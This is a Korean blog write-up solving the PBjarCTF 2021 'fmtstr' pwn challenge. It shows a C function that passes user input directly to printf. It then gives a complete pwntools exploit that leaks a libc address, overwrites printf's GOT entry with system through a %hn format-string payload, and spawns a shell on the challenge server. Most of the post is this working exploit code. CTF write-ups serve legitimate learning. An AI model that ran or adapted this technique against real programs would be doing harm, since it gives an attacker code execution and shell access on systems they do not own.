본문 바로가기

[PBjarCTF 2021] PWN - fmtstr 본문

CTF

[PBjarCTF 2021] PWN - fmtstr

Seongjun_You 2021. 10. 10. 21:38
void vuln(){
	char buf[128];

	puts("EXPLOIT:\n");

	puts("Here we go, I'll be nice and read three inputs, and all three will be outputted with printf as its first paramter.\n");

	puts("However, no overflows, I won't take more than 128 characters at a time. :pensive:\n");

	puts("Give me your first input:");

	fgets(buf, sizeof(buf), stdin);

	printf(buf);

	puts("");

	puts("Nice, now give me your second input:");

	fgets(buf, sizeof(buf), stdin);	

	printf(buf);

	puts("");

	puts("Alright, one last input:");

	fgets(buf, sizeof(buf), stdin);	

	printf(buf);

	puts("");
}

취약 함수이다 FSB를 세 번 일으킨다.

 

첫 번째 입력에는 ret주소를 leak 해서 libc_base를 구한다.

 

두 번째 입력에는 printfgot주소를 system주소로 바꾼다.

 

세 번째 입력에는 /bin/sh을 입력한다.

 

exploit code

from pwn import *
p = remote("143.198.127.103",42002)
#p = process("./fmtstr")
context.log_level = 'debug'
elf = ELF("./fmtstr")
libc = ELF("./libc-2.31.so")

pause()
p.sendlineafter(":clown:)","N")

payload = 'leak:%25$p'
p.sendlineafter("first input:",str(payload))
p.recvuntil("leak:")
leak_ret = int(p.recv(14),16)

libc_base = leak_ret - libc.symbols['__libc_start_main'] - 234
printf_got = elf.got['printf']
system = libc_base + libc.symbols['system']

print("leak_ret:"+str(hex(leak_ret)))
print("printf_got:"+ str(hex(printf_got)))
print("system:"+ str(hex(system)))

system_low = system & 0xffff
system_middle = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff

low = system_low
if system_middle > system_low:
    middle = system_middle - system_low
else:
    middle = 0x10000 + system_middle - system_low

if system_high > system_middle:
    high = system_high - system_middle
else:
    high = 0x10000 + system_high - system_middle
 
print("low:" + str(low))
print("middle:" + str(middle))
print("high:" + str(high))

payload =  '%'+ str(low)+'c'
payload += '%11$hn'
payload += '%'+ str(middle)+ 'c'
payload += '%12$hn'
payload += '%'+ str(high)+ 'c'
payload += '%13$hn'
payload += 'A' * (8 - len(payload) % 8)
payload += p64(printf_got)
payload += p64(printf_got+2)
payload += p64(printf_got+4)
payload += p64(0)

p.sendlineafter("second input:",str(payload))
p.sendlineafter("last input:","/bin/sh\x00")
p.interactive()

이게 아무리 해도 안되다가 16.04로 하니깐 바로 됐다.

flag 딴걸 안 찍어서 없다.

'CTF' 카테고리의 다른 글

DIMICTF 2017 - dimi-login  (0) 2021.10.31
DIMICTF 2017 - dimi-farm  (0) 2021.10.29
[PBjarCTF 2021] PWN - walkthrough  (0) 2021.10.10
DIMICTF 2017 - ropsaurusrex2  (0) 2021.10.10
DIMICTF 2017 - ezshellcode  (0) 2021.10.09
Comments